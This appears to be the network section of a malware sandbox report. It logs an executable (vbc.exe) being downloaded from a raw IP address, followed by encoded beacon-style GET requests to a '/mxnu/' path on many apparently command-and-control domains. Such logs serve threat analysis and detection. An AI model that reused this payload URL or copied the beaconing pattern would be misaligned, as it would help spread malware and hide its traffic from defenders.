Network Analysis

GET /0080008/vbc.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3) Host: 192.227.228.38 Connection: Keep-Alive

HTTP/1.1 200 OK Date: Thu, 21 Oct 2021 20:33:49 GMT Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.11 Last-Modified: Wed, 20 Oct 2021 22:57:34 GMT ETag: "3fc4a-5ced0b42a1b2c" Accept-Ranges: bytes Content-Length: 261194 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload

GET /mxnu/?uZfX=hZ80obWBB1Dtx9mJDJ/B6KhSbXm9N4IXZ9kDZpitpQpTEQWdqR+8a/o3g7qjE+O8VqYt5r7Y&Vnw0_=-Z1l72l0kFHhurC HTTP/1.1 Host: www.desongli.com Connection: close

HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Oct 2021 23:29:50 GMT Content-Type: text/html Content-Length: 466 Connection: close

GET /mxnu/?uZfX=6sRgvWVFBb3Q/xwRSmzppKeefWZYMhtu8mXrbS5z1U4Jv8b+WQjv+VljYqCaCxejjINp6HL4&Vnw0_=-Z1l72l0kFHhurC HTTP/1.1 Host: www.029atk.xyz Connection: close

HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Oct 2021 23:30:01 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.029atk.xyz/mxnu/?uZfX=6sRgvWVFBb3Q/xwRSmzppKeefWZYMhtu8mXrbS5z1U4Jv8b+WQjv+VljYqCaCxejjINp6HL4&Vnw0_=-Z1l72l0kFHhurC Strict-Transport-Security: max-age=31536000; includeSubdomains;

GET /mxnu/?uZfX=/h7P8W3KCMqF8sHgbHgxGw3KDEtccpvlr5o0RXreZvWALZ7/fG1Fr8cUEgi4cFDVX1k6R9aW&Vnw0_=-Z1l72l0kFHhurC HTTP/1.1 Host: www.gatescres.com Connection: close

HTTP/1.1 403 Forbidden Server: awselb/2.0 Date: Wed, 20 Oct 2021 23:30:07 GMT Content-Type: text/html Content-Length: 118 Connection: close

GET /mxnu/?uZfX=iFpbfMx0kR1NhQJhtaFPfzg8Nsy3dm+jXQd2Fi3YicbHa3sz/htfiB2IN3yla1aALZWfkU50&Vnw0_=-Z1l72l0kFHhurC HTTP/1.1 Host: www.funkidsroomdecor.com Connection: close

HTTP/1.1 404 Not Found Date: Wed, 20 Oct 2021 23:30:13 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 07 Oct 2019 12:56:30 GMT Accept-Ranges: bytes Content-Length: 746 Vary: Accept-Encoding Content-Type: text/html

GET /mxnu/?uZfX=e1Tv98kFs0Gi2+72/XvHySgQIb+R11LQEZu1blwPIgW3VgOqIrXEf8kBKhEPSuWOnZ0Oxl1j&Vnw0_=-Z1l72l0kFHhurC HTTP/1.1 Host: www.hanjyu.com Connection: close

GET /mxnu/?uZfX=hecv2sMFcvsyFIpzJOhZbtwMh1SG6St5/U1aPglBFWownzq2qPNpvMi/ho6Sg43JWpVw027R&Vnw0_=-Z1l72l0kFHhurC HTTP/1.1 Host: www.naplesconciergerealty.com Connection: close

HTTP/1.1 403 Forbidden Server: openresty Date: Wed, 20 Oct 2021 23:30:35 GMT Content-Type: text/html Content-Length: 275 ETag: "6169a6de-113" Via: 1.1 google Connection: close

GET /mxnu/?uZfX=rJ249TMVQMCwGwXS7eMNhvOWH4SbGXiKs4Vq1JHmstm/5V4DyV8c/XoA/4BgaERVtEbRuzyC&Vnw0_=-Z1l72l0kFHhurC HTTP/1.1 Host: www.closetu.com Connection: close

HTTP/1.1 302 Found Cache-Control: private Content-Type: text/html; charset=utf-8 Location: https://www.hugedomains.com/domain_profile.cfm?d=closetu&e=com Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Wed, 20 Oct 2021 23:30:36 GMT Connection: close Content-Length: 183

GET /mxnu/?uZfX=UVMBiiaCgBTVCfU1vNNEq08V9m7XAvZZglUNdI143I2X7Zl4GMtYquItbp7SrE/Ljcqvb/Ed&Vnw0_=-Z1l72l0kFHhurC HTTP/1.1 Host: www.digisor.com Connection: close

HTTP/1.1 410 Gone Server: openresty Date: Wed, 20 Oct 2021 23:30:22 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close

GET /mxnu/?uZfX=mJKlLoR4AxZK/RYIFKAo0UiVtoPyzBJ6SQAFXLfvSOBYEGo1cqGoAX7CRK1QxANrckFntybM&Vnw0_=-Z1l72l0kFHhurC HTTP/1.1 Host: www.whitebot.xyz Connection: close

HTTP/1.1 404 Not Found Date: Wed, 20 Oct 2021 23:30:52 GMT Content-Type: text/html; charset=iso-8859-1 Vary: Accept-Encoding X-Varnish: 657690106 Age: 0 X-Cache: MISS Transfer-Encoding: chunked Connection: close

GET /mxnu/?uZfX=25s1ERxOA1FsQEL58dsMzLXIm6T2LEHWrovGfnVbwWX5qUTqFcrkTCI5ju9rUaWf+2K12S96&Vnw0_=-Z1l72l0kFHhurC HTTP/1.1 Host: www.265411.com Connection: close

HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Oct 2021 23:30:57 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.265411.com/mxnu/?uZfX=25s1ERxOA1FsQEL58dsMzLXIm6T2LEHWrovGfnVbwWX5qUTqFcrkTCI5ju9rUaWf+2K12S96&Vnw0_=-Z1l72l0kFHhurC Strict-Transport-Security: max-age=31536000

GET /mxnu/?uZfX=LFHT7yJDHTG5j2x991585jkXyYBkZkjzIUaPFc8bTKfmXG7pnxx1T4PiHIQyjDj8X+wed1XV&Vnw0_=-Z1l72l0kFHhurC HTTP/1.1 Host: www.revgeek.com Connection: close

HTTP/1.1 301 Moved Permanently Server: openresty Date: Wed, 20 Oct 2021 23:31:03 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.revgeek.com/mxnu/?uZfX=LFHT7yJDHTG5j2x991585jkXyYBkZkjzIUaPFc8bTKfmXG7pnxx1T4PiHIQyjDj8X+wed1XV&Vnw0_=-Z1l72l0kFHhurC

GET /mxnu/?uZfX=bngcEK+xZs1ednOYrpus6XFKnrxKN2uCCnQcEZtwxddq7ZQQDv/23m99KJW03q/XcaqcaNGj&Vnw0_=-Z1l72l0kFHhurC HTTP/1.1 Host: www.epilasyonmerkeziankara.com Connection: close

HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Oct 2021 23:31:18 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.epilasyonmerkeziankara.com/mxnu/?uZfX=bngcEK+xZs1ednOYrpus6XFKnrxKN2uCCnQcEZtwxddq7ZQQDv/23m99KJW03q/XcaqcaNGj&Vnw0_=-Z1l72l0kFHhurC